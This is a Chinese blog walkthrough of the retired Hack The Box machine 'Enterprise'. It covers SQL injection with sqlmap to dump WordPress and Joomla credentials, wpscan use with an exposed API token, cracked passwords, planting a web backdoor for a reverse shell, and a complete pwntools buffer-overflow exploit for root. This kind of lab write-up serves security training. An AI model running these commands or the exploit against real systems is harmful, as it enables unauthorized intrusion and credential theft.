• HTB-靶机-Enterprise


    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.61

    本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

    执行命令 autorecon 10.10.10.61 -o ./Enterprise-autorecon

    根据扫描结果绑定了本地hosts文件,查看爆破的目录,然后访问:https://10.10.10.61/files/lcars.zip 将文件下载到本地解压如下:

    查看上面的代码确认存在sql注入,使用sqlmap跑一把得出了用户名和加密的密码

    sqlmap -u "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" -D wordpress -T wp_users -C user_login,user_nicename,user_pass,user_email --dump --smart --batch

     用户:william.riker 密码破解不出来,使用wpscan扫一把

    wpscan --url http://enterprise.htb -e ap,t,tt,u --api-token pFokhQNG8ZFEmmntdfHfTYnrYdnvJHKtVtDuHTqTqBc

    得到了目标存在一个用户,到了这一步是通过枚举目标wordpress数据库的文件字段信息获取了里面存在一个密码,通过使用burpsuite此时得出了正确的账户和密码进行登录

    sqlmap -u "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" -D wordpress -T wp_posts -C post_content --dump  --thread 10 --smart --batch

    最终得出如下4个密码

    ZxJyhGem4k338S2Y
    enterprisencc170
    ZD3YxfnSjezg67JZ
    u*Z14ru0p#ttj83zS6

    登录到目标wordpress后台之后还是老方法写入后门代码然后反弹shell

     

    访问:http://enterprise.htb/wp-content/themes/twentyseventeen/page.php?0=which curl 确认可以正常执行,然后反弹shell

    成功得到shell,但是并没有获取user.txt,查看下IP地址,发现并不是目标靶机的IP地址,怀疑目标靶机的web应用程序是在另一台机器上,那这个先放着,我们继续看另一个joomla,还是通过上面的注入把joomla的用户名和密码注入出来了

    sqlmap -u "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" -D joomladb -T edz2g_users -C username,password --dump --thread 10 --smart --batch

    最开始扫描的时候发现了其后台是administrator,通过使用burpsuite带入上面得到的4个密码爆破出来了密码,登录目标joomla的后台

     同样的方式注入后门代码

    反弹shell跟上面反弹wordpress程序是一样的,最终得到了shell

    还是不能获取user.txt ,通过使用LinEnum.sh枚举和测试发现刚开始判断注入的而下载的文件地址存在跟目标靶机共享目录的特性

    既然是共享目录,那么下载一个反弹shell代码,然后浏览器访问反弹真正的目标shell

    此时获取了user.txt ,下面就是提权为root用户,这里是缓冲区溢出漏洞提权,参考如下文章分析:

    https://www.hackingdream.net/2019/08/enterprise-hackthebox-walkthrough.html
    https://alamot.github.io/enterprise_writeup/
    https://sheerazali.com/enterprise-writeup-walkthrough-hack-the-box/

    利用代码如下:

    保存为getroot.sh
    
    #!/usr/bin/env python2
    
    import struct
    from pwn import *
    
    RHOST = '10.10.10.61'
    RPORT = 32812
    
    
    def conv (num):
        return struct.pack ('<I',num)
    
    
    payload = 'A' * 212
    payload += conv (0xf7e4c060) # system()
    payload += conv (0xf7e3faf0) # exit()
    payload += conv (0xf7f6ddd5) # 'sh'
    
    sess = remote (RHOST, RPORT)
    sess.recvuntil ("Enter Bridge Access Code: ")
    sess.sendline ("picarda1")
    sess.recvuntil ("Waiting for input: ")
    sess.sendline ("4")
    sess.recvuntil ("Enter Security Override:")
    sess.sendline (payload)
    sess.interactive ()
    
    直接执行即可提权

    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    sql 主键 标识 默认值
    SQL Server跨服务器查询
    C# 取整数
    RegisterClientScriptBlock、RegisterStartupScript
    UpdatePanel
    C#创建(从数据库中导出)Excel文件(含Interop.Excel.Dll)
    基类、接口的应用——表单控件:一次添加、修改一条记录,一次修改多条记录。(上)
    利用JS获取IE客户端IP及MAC的实现
    Net用DataTable导出Excel通用函数(修正了Excel进程删除不掉问题)
    感人至深的文章
  • 原文地址:https://www.cnblogs.com/autopwn/p/14037260.html
Copyright © 2020-2023  润新知